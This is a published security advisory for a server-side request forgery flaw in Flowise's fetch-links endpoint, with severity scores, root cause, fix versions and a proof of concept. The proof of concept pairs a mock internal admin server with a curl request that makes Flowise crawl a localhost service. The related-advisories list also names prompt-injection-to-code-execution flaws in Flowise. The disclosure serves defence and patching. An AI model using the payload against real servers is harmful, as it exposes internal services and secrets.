GHSA-hr92-4q35-4j3m CVE-2025-59527
FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 5.46%
- Chance of exploitation in the next 30 days. Higher than 92.74% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
3.0.6- Upgrade flowise to this version or later
Description
Summary
A Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.
Details
Vulnerability Overview
The fetch-links feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.
The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the relativeLinksMethod parameter is set to webCrawl or xmlScrape, the server directly calls the fetch() function with the provided URL, making it vulnerable to SSRF attacks.
Root Cause
The fetch() function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.
Taint Flow
• Taint 01: Route Registration
• Taint 02: Service
• Taint 03: xmlScrape
PoC
PoC Description
This vulnerability was verified in a local development environment. The Flowise server was running at http://localhost:3000, and authentication was performed using the Bearer token:
tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q
Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:
/api/users(User Management)/api/secrets(API Keys)/api/database(Database Config)
This demonstrated that an attacker could enumerate internal web service structures.
Internal Admin Server (Mock)
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/')
def admin():
return render_template_string("""
<html>
<h1>Internal Admin Panel</h1>
<ul>
<li><a href="/api/users">User Management</a></li>
<li><a href="/api/secrets">API Keys</a></li>
<li><a href="/api/database">Database Config</a></li>
<li><a href="/api/logs">System Logs</a></li>
</ul>
""")
@app.route('/api/users')
def users():
return render_template_string("""
<html>
<h1>Users</h1>
<ul>
<li><a href="/api/users/admin">admin (root)</a></li>
<li><a href="/api/users/operator">operator</a></li>
</ul>
<a href="/">Back</a>
""")
@app.route('/api/secrets')
def secrets():
return render_template_string("""
<html>
<h1>Secrets</h1>
<ul>
<li><a href="/api/secrets/db_key">DB Key: sk-1234567890abcdef</a></li>
<li><a href="/api/secrets/aws_key">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li>
</ul>
<a href="/">Back</a>
""")
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8080)
curl Request Example
curl -G 'http://localhost:3000/api/v1/fetch-links' \
--data-urlencode 'url=http://127.0.0.1:8080/' \
--data-urlencode 'relativeLinksMethod=webCrawl' \
--data-urlencode 'limit=10' \
-H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \
-s | jq '.'
<img width="1914" height="952" alt="image" src="https://github.com/user-attachments/assets/6cb1abb1-0a31-43d4-8d9e-8d45f58051f3" />
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability.
- Who is impacted? Any user running Flowise server exposed to external traffic.
- Risk: Attackers can leverage the Flowise server to:
- Explore internal web applications
- Bypass firewall rules
- Access sensitive administrative interfaces
- Leak internal configuration, credentials, or secrets
This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| flowise | >= 3.0.5, < 3.0.6 |
3.0.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
flowise npm → 3.0.6
- npm
npm install flowise@3.0.6- yarn
yarn add flowise@3.0.6- pnpm
pnpm add flowise@3.0.6
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Advisories
Packages
Other links
- github.com/FlowiseAI/Flowise/security/advisories/GHSA-hr92-4q35-4j3m
- github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/pack…
- github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/pack…
- github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/pack…
- github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass | Critical | Also affects flowise |
| GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium | High | Also affects flowise |
| GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service | Critical | Also affects flowise |
| GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability | Critical | Also affects flowise |
| GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation | High | Also affects flowise |
| GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials | Medium | Also affects flowise |
| GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint | Medium | Also affects flowise |
| GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak | High | Also affects flowise |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor